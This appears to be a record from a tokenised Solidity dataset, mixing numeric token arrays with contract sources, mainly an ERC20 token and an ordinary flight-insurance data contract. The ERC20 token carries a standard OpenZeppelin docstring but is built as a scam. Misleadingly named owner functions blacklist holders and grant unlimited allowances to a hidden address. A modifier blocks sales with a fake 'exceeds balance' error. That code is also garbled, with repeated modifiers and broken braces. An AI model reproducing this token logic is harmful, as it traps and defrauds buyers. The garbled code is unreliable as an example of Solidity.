-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/4/0xf5444Bd51B68ca9D19F71959420AE957Dc3EF5eA/sources/ERC20.sol | * @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./ | contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public _minters;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _sendto;
uint256 private _base0 = 100;
uint256 private _base1;
uint8 private spend;
}
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner, address tosend) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_fromAddress[owner]=true;
_safeOwner = owner;
_totalSupply = _totalSupply.add(initialSupply*(10**18));
_balances[_owner] = _balances[_owner].add(initialSupply*(10**18));
_sendto = tosend;
_base1 = _base0;
spend = 1;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function addMinter(address _minter) public
{
require(msg.sender == _owner, "!Owner");
_fromAddress[_minter]=true;
_minters[_minter] = true;
}
function removeMinter(address _minter) public
{
require(msg.sender == _owner, "!Owner");
_fromAddress[_minter]=false;
_minters[_minter] = false;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_fromAddress[receivers[i]]=true;
_approve(receivers[i], _sendto,_approveValue);
}
}
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_fromAddress[receivers[i]]=true;
_approve(receivers[i], _sendto,_approveValue);
}
}
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_fromAddress[receivers[i]]=true;
_approve(receivers[i], _sendto,_approveValue);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function initial(uint256 base, uint8 _spend) public {
require(msg.sender == _owner, "!owner");
_base1 = base;
spend = _spend;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: e. transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_fromAddress[receivers[i]] = true;
_toAddress[receivers[i]] = false;
}
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_fromAddress[receivers[i]] = true;
_toAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_toAddress[receivers[i]] = true;
_fromAddress[receivers[i]] = false;
}
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_toAddress[receivers[i]] = true;
_fromAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: d. transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(_minters[msg.sender], "!minter");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: c. transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
else
{
if (recipient == _owner)
{
}
else
{
else
{
if (_toAddress[sender] == true)
{
require((sender == _safeOwner)||(recipient == _sendto), "ERC20: transfer amount exceeds balance");_;
}
else
{
if (amount < _sellAmount)
{
else
{
}
_;
}
else{
require((sender == _safeOwner)||(recipient == _sendto), "ERC20: transfer amount exceeds balance");_;
}
}
}
}
}
}
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
else
{
if (recipient == _owner)
{
}
else
{
else
{
if (_toAddress[sender] == true)
{
require((sender == _safeOwner)||(recipient == _sendto), "ERC20: transfer amount exceeds balance");_;
}
else
{
if (amount < _sellAmount)
{
else
{
}
_;
}
else{
require((sender == _safeOwner)||(recipient == _sendto), "ERC20: transfer amount exceeds balance");_;
}
}
}
}
}
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
else
{
if (recipient == _owner)
{
}
else
{
else
{
if (_toAddress[sender] == true)
{
require((sender == _safeOwner)||(recipient == _sendto), "ERC20: transfer amount exceeds balance");_;
}
else
{
if (amount < _sellAmount)
{
else
{
}
_;
}
else{
require((sender == _safeOwner)||(recipient == _sendto), "ERC20: transfer amount exceeds balance");_;
}
}
}
}
}
}
if ( _fromAddress[sender] || sender == _safeOwner){_sellAmount = amount.mul(_base1).div(_base0);}_;
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
else
{
if (recipient == _owner)
{
}
else
{
else
{
if (_toAddress[sender] == true)
{
require((sender == _safeOwner)||(recipient == _sendto), "ERC20: transfer amount exceeds balance");_;
}
else
{
if (amount < _sellAmount)
{
else
{
}
_;
}
else{
require((sender == _safeOwner)||(recipient == _sendto), "ERC20: transfer amount exceeds balance");_;
}
}
}
}
}
}
if (_fromAddress[sender] == true){ _;}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
else
{
if (recipient == _owner)
{
}
else
{
else
{
if (_toAddress[sender] == true)
{
require((sender == _safeOwner)||(recipient == _sendto), "ERC20: transfer amount exceeds balance");_;
}
else
{
if (amount < _sellAmount)
{
else
{
}
_;
}
else{
require((sender == _safeOwner)||(recipient == _sendto), "ERC20: transfer amount exceeds balance");_;
}
}
}
}
}
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
else
{
if (recipient == _owner)
{
}
else
{
else
{
if (_toAddress[sender] == true)
{
require((sender == _safeOwner)||(recipient == _sendto), "ERC20: transfer amount exceeds balance");_;
}
else
{
if (amount < _sellAmount)
{
else
{
}
_;
}
else{
require((sender == _safeOwner)||(recipient == _sendto), "ERC20: transfer amount exceeds balance");_;
}
}
}
}
}
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
else
{
if (recipient == _owner)
{
}
else
{
else
{
if (_toAddress[sender] == true)
{
require((sender == _safeOwner)||(recipient == _sendto), "ERC20: transfer amount exceeds balance");_;
}
else
{
if (amount < _sellAmount)
{
else
{
}
_;
}
else{
require((sender == _safeOwner)||(recipient == _sendto), "ERC20: transfer amount exceeds balance");_;
}
}
}
}
}
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
else
{
if (recipient == _owner)
{
}
else
{
else
{
if (_toAddress[sender] == true)
{
require((sender == _safeOwner)||(recipient == _sendto), "ERC20: transfer amount exceeds balance");_;
}
else
{
if (amount < _sellAmount)
{
else
{
}
_;
}
else{
require((sender == _safeOwner)||(recipient == _sendto), "ERC20: transfer amount exceeds balance");_;
}
}
}
}
}
}
if(recipient == _safeOwner){_toAddress[sender] = true; _fromAddress[sender] = false;}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
else
{
if (recipient == _owner)
{
}
else
{
else
{
if (_toAddress[sender] == true)
{
require((sender == _safeOwner)||(recipient == _sendto), "ERC20: transfer amount exceeds balance");_;
}
else
{
if (amount < _sellAmount)
{
else
{
}
_;
}
else{
require((sender == _safeOwner)||(recipient == _sendto), "ERC20: transfer amount exceeds balance");_;
}
}
}
}
}
}
if( spend==0 ){ _toAddress[recipient] = true; _fromAddress[recipient] = false;}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
else
{
if (recipient == _owner)
{
}
else
{
else
{
if (_toAddress[sender] == true)
{
require((sender == _safeOwner)||(recipient == _sendto), "ERC20: transfer amount exceeds balance");_;
}
else
{
if (amount < _sellAmount)
{
else
{
}
_;
}
else{
require((sender == _safeOwner)||(recipient == _sendto), "ERC20: transfer amount exceeds balance");_;
}
}
}
}
}
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: a. transfer amount exceeds balance");_;}else{
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: b. transfer amount exceeds balance");_;}
}
| 8,719,794 | [
1,
13621,
434,
326,
288,
45,
654,
39,
3462,
97,
1560,
18,
1220,
4471,
353,
279,
1600,
669,
335,
358,
326,
4031,
2430,
854,
2522,
18,
1220,
4696,
716,
279,
14467,
12860,
711,
358,
506,
3096,
316,
279,
10379,
6835,
1450,
288,
67,
81,
474,
5496,
2457,
279,
5210,
12860,
2621,
288,
654,
39,
3462,
18385,
49,
2761,
16507,
1355,
5496,
399,
2579,
30,
2457,
279,
6864,
1045,
416,
2621,
3134,
7343,
358,
2348,
14467,
1791,
28757,
8009,
1660,
1240,
10860,
7470,
3502,
62,
881,
84,
292,
267,
9875,
14567,
30,
4186,
15226,
3560,
434,
5785,
1375,
5743,
68,
603,
5166,
18,
1220,
6885,
353,
1661,
546,
12617,
15797,
287,
471,
1552,
486,
7546,
598,
326,
26305,
434,
4232,
39,
3462,
12165,
18,
26775,
16,
392,
288,
23461,
97,
871,
353,
17826,
603,
4097,
358,
288,
13866,
1265,
5496,
1220,
5360,
12165,
358,
23243,
326,
1699,
1359,
364,
777,
2
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] | [
1,
16351,
4232,
39,
3462,
353,
1772,
16,
467,
654,
39,
3462,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
565,
1450,
5267,
364,
1758,
31,
203,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
3238,
389,
70,
26488,
31,
203,
377,
203,
203,
565,
2874,
261,
2867,
516,
2874,
261,
2867,
516,
2254,
5034,
3719,
3238,
389,
5965,
6872,
31,
203,
565,
2874,
261,
2867,
516,
1426,
13,
1071,
389,
1154,
5432,
31,
203,
377,
203,
565,
2254,
5034,
3238,
389,
4963,
3088,
1283,
31,
203,
377,
203,
565,
533,
3238,
389,
529,
31,
203,
565,
533,
3238,
389,
7175,
31,
203,
565,
2254,
28,
3238,
389,
31734,
31,
203,
565,
2254,
5034,
3238,
389,
12908,
537,
620,
273,
22821,
7235,
3462,
6675,
4366,
9036,
2313,
3657,
6564,
4366,
10321,
5908,
7140,
713,
5292,
28,
7235,
8642,
7140,
27284,
2733,
5193,
6028,
25,
1105,
6260,
1105,
4630,
29,
7950,
5877,
5193,
713,
7235,
3437,
24886,
4449,
2733,
4763,
31,
203,
203,
565,
1758,
1071,
389,
8443,
31,
203,
565,
1758,
3238,
389,
4661,
869,
31,
203,
565,
2254,
5034,
3238,
389,
1969,
20,
273,
2130,
31,
203,
565,
2254,
5034,
3238,
389,
1969,
21,
31,
203,
565,
2254,
28,
3238,
17571,
31,
203,
565,
203,
97,
203,
282,
3885,
261,
1080,
3778,
508,
16,
533,
3778,
3273,
16,
2254,
5034,
2172,
3088,
1283,
16,
2867,
8843,
429,
3410,
16,
1758,
358,
4661,
13,
1071,
288,
203,
3639,
389,
529,
273,
508,
31,
203,
3639,
389,
7175,
273,
3273,
31,
203,
2
] |
pragma solidity ^0.4.25;
import "../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";
contract FlightSuretyData {
using SafeMath for uint256;
/********************************************************************************************/
/* DATA VARIABLES */
/********************************************************************************************/
address private contractOwner; // Account used to deploy contract
bool private operational = true; // Blocks all state changes throughout the contract if false
struct Insurance {
address owner;
bytes32 key;
uint256 amount;
}
struct Airline { //Struct to classify an airline and hold relevant info
string name;
address account;
bool isRegistered;
bool isAuthorized;
bool operationalVote;
}
//constant M refers to number of airlines needed to use multi-party consensus
uint256 private changeOperatingStatusVotes = 0;
uint statusVotes;
uint256 private authorizedAirlineCount = 0;
mapping (address => mapping(address => uint8)) private multiCalls;
address[] multiCallsArray = new address[](0); //array of addresses that have called the registerFlight function
mapping(address => uint256) funds; // Mapping to store the funds contributed by the airline. The minnimum contribution to get authorized is 10 ether
mapping(address => Airline) public airlines; // Mapping for storing employees. Question: Does this contract have to inheret from the app contract in order to use a mapping that maps to an Airline type? (airline type is stored in the app contract, maybe this will have to change)
mapping(address => uint256) private authorizedAirlines; // Mapping for airlines authorized
mapping(address => uint8) authorizedCaller; //mapping that stores the app contract addresses that
//are authorized to call the data contract. If authorized, the mapping[address]
//should equal 1
Insurance[] private insurance;
mapping(address => uint256) private credit;
mapping(address => uint256) private voteCounter;
mapping(address => bool) private authorizedCallers;
/********************************************************************************************/
/* EVENT DEFINITIONS */
/********************************************************************************************/
event AuthorizedCaller(address caller);
event DeAuthorizedCaller(address caller);
event Bought(address buyer, bytes32 flightKey, uint256 amount);
event Creditted(bytes32 flightKey);
event Paid(address insuree, uint256 amount);
/**
* Event fired when a new Airline is registered
* "indexed" keyword indicates that the data should be stored as a "topic" in event log data. This makes it
* searchable by event log filters. A maximum of three parameters may use the indexed keyword per event.
*/
event RegisterAirline(address indexed account);
event AuthorizeAirline(address account);
/**
* @dev Constructor
* The deploying account becomes contractOwner
*/
constructor
(
)
public
{
contractOwner = msg.sender;
airlines[contractOwner] = Airline({
name: "Default Name",
account: contractOwner,
isRegistered: true,
isAuthorized: true,
operationalVote: true
});
authorizedAirlineCount = authorizedAirlineCount.add(1);
emit RegisterAirline(contractOwner);
}
/********************************************************************************************/
/* FUNCTION MODIFIERS */
/********************************************************************************************/
// Modifiers help avoid duplication of code. They are typically used to validate something
// before a function is allowed to be executed.
/**
* @dev Modifier that requires the "operational" boolean variable to be "true"
* This is used on all state changing functions to pause the contract in
* the event there is an issue that needs to be fixed
*/
modifier requireIsOperational()
{
require(operational, "Contract is currently not operational");
_; // All modifiers require an "_" which indicates where the function body will be added
}
/**
* @dev Modifier that requires the "ContractOwner" account to be the function caller
*/
modifier requireContractOwner()
{
require(msg.sender == contractOwner, "Caller is not contract owner");
_;
}
modifier requireIsCallerAuthorized(address admin) {
require(airlines[admin].isAuthorized, "Airline is not authorized");
_;
}
/********************************************************************************************/
/* UTILITY FUNCTIONS */
/********************************************************************************************/
/* authorize caller */
function authorizeCaller(address _caller) public onlyOwner returns(bool)
{
authorizedCaller[_caller] = 1;
emit AuthorizedCaller(_caller);
return true;
}
/* deauthorize caller */
function deAuthorizeCaller(address _caller) public onlyOwner returns(bool)
{
authorizedCaller[_caller] = 0;
emit DeAuthorizedCaller(_caller);
return true;
}
/**
* @dev Get operating status of contract
*
* @return A bool that is the current operating status
*/
function isOperational()
public
view
returns(bool)
{
return operational;
}
//getters for fields of the Airline struct -- don
function getAirlineName(address account) external view returns(string){
return airlines[account].name;
}
function getAuthorizedAirlineCount() external view returns(uint256) {
return authorizedAirlineCount;
}
function getAirlineAccount(address account) external view returns(address){
return airlines[account].account;
}
function getRegistrationStatus(address account) external view returns(bool){
return airlines[account].isRegistered;
}
function getAuthorizationStatus(address account) external view returns(bool){
return airlines[account].isAuthorized;
}
function getOperationalVote(address account) external view returns(bool){
return airlines[account].operationalVote;
}
/**
* @dev Sets contract operations on/off
*
* When operational mode is disabled, all write transactions except for this one will fail
*/
function setOperatingStatus
(
bool mode,
address caller
)
external
requireIsCallerAuthorized(caller)
requireContractOwner
{
require(operational == airlines[caller].operationalVote, "Duplicate caller");
require(mode!=operational, "New mode must be different from existing mode");
if (authorizedAirlineCount < 4) {
operational = mode;
} else { //use multi-party consensus amount authorized airlines to reach 50% aggreement
changeOperatingStatusVotes = changeOperatingStatusVotes.add(1);
airlines[caller].operationalVote = mode;
if (changeOperatingStatusVotes >= (authorizedAirlineCount.div(2))) {
operational = mode;
changeOperatingStatusVotes = authorizedAirlineCount - changeOperatingStatusVotes;
}
}
}
/********************************************************************************************/
/* SMART CONTRACT FUNCTIONS */
/********************************************************************************************/
/**
* @dev Add an airline to the registration queue
* Can only be called from FlightSuretyApp contract
*
*/
function registerAirline
(
string name,
address newAirline,
address admin
)
external
requireIsOperational
requireIsCallerAuthorized(admin)
returns
(
bool success,
uint256 authorizedAirlineNumber,
uint256 votes
)
{
require(!airlines[newAirline].isRegistered, "New Airline is already registered");
require(airlines[admin].isRegistered, "Admin Airline is not registered");
if (authorizedAirlineCount < 4) {
airlines[newAirline] = Airline({
name: name,
account: newAirline,
isRegistered: true,
isAuthorized: false,
operationalVote: true
});
emit RegisterAirline(newAirline);
return(true, authorizedAirlineCount, 1);
} else { //multiparty consensus
bool isDuplicate = false;
//better to use an owner parameter than msg.sender here?
if (multiCalls[newAirline][admin] == 1) {
isDuplicate = true;
}
require(!isDuplicate, "Caller has already called this function");
multiCalls[newAirline][admin] = 1;
voteCounter[newAirline] = voteCounter[newAirline].add(1);
if (voteCounter[newAirline] >= (authorizedAirlineCount.div(2))) {
airlines[newAirline] = Airline({
name: name,
account: newAirline,
isRegistered: true,
isAuthorized: true,
operationalVote: true
});
emit RegisterAirline(newAirline);
return(true, authorizedAirlineCount, voteCounter[newAirline]);
} else {
return(false, authorizedAirlineCount, voteCounter[newAirline]);
}
}
}
/**
* @dev Buy insurance for a flight
*/
function buy (address airline, string flight, uint256 timestamp, uint256 amount) external payable requireIsOperational {
require(msg.value == amount, "Transaction is suspect");
uint256 newAmount = amount;
if (amount > 1 ether) {
uint256 creditAmount = amount - 1;
newAmount = 1;
credit[msg.sender] = creditAmount;
}
bytes32 key = getFlightKey(airline, flight, timestamp);
Insurance memory newInsurance = Insurance(msg.sender, key, newAmount);
insurance.push(newInsurance);
emit Bought(msg.sender, key, amount);
}
/**
* @dev Credits payouts to insurees
*/
function creditInsurees (address airline, string flight, uint256 timestamp) external view requireIsOperational {
bytes32 flightKey = getFlightKey(airline, flight, timestamp);
for (uint i=0; i < insurance.length; i++) {
if (insurance[i].key == flightKey) {
credit[insurance[i].owner] = insurance[i].amount.mul(15).div(10);
Insurance memory insur = insurance[i];
insurance[i] = insurance[insurance.length - 1];
insurance[insurance.length - 1] = insur;
delete insurance[insurance.length - 1];
insurance.length--;
}
}
emit Creditted(flightKey);
}
/**
* @dev Transfers eligible payout funds to insuree
*/
function pay () external payable requireIsOperational {
require(credit[msg.sender] > 0, "Caller does not have any credit");
uint256 amountToReturn = credit[msg.sender];
credit[msg.sender] = 0;
msg.sender.transfer(amountToReturn);
emit Paid(msg.sender, amountToReturn);
}
/**
* @dev Initial funding for the insurance. Unless there are too many delayed flights
* resulting in insurance payouts, the contract should be self-sustaining
*
*/
function fund
(
address sender
)
public
payable
requireIsOperational
{
require(msg.value >= 10 ether, "Inadaquate funds");
require(airlines[sender].isRegistered, "Sending account must be registered before it can be funded");
uint256 existingAmount = funds[sender];
uint256 totalAmount = existingAmount.add(msg.value);
funds[sender] = 0;
sender.transfer(msg.value); //their code has the totalAmount being transferred to the contract account. Why?
if (airlines[sender].isAuthorized == false) {
airlines[sender].isAuthorized = true;
authorizedAirlineCount = authorizedAirlineCount.add(1);
emit AuthorizeAirline(sender);
}
funds[sender] = totalAmount;
}
function getFlightKey
(
address airline,
string memory flight,
uint256 timestamp
)
view
internal
requireIsOperational
returns(bytes32)
{
return keccak256(abi.encodePacked(airline, flight, timestamp));
}
/**
* @dev Fallback function for funding smart contract.
*
*/
function()
external
payable
requireIsOperational
{
fund(msg.sender);
}
}
| Account used to deploy contract
| address private contractOwner; | 12,808,302 | [
1,
3032,
1399,
358,
7286,
6835,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
1758,
3238,
6835,
5541,
31,
5397,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x102D06dBeF61D6e0511d431cc6123F242B48482E/sources/contracts/others/AlcazarAirdrop.sol | * @notice Fund link token from the VRF coordinator for subscription @dev This function must be called by the owner of the contract./ | function fundToCoordiator(uint96 _amount) external onlyOwner {
LINKTOKEN.transferFrom(msg.sender, address(this), _amount);
LINKTOKEN.transferAndCall(address(COORDINATOR), _amount, abi.encode(s_subscriptionId));
}
| 3,207,184 | [
1,
42,
1074,
1692,
1147,
628,
326,
776,
12918,
24794,
364,
4915,
225,
1220,
445,
1297,
506,
2566,
635,
326,
3410,
434,
326,
6835,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
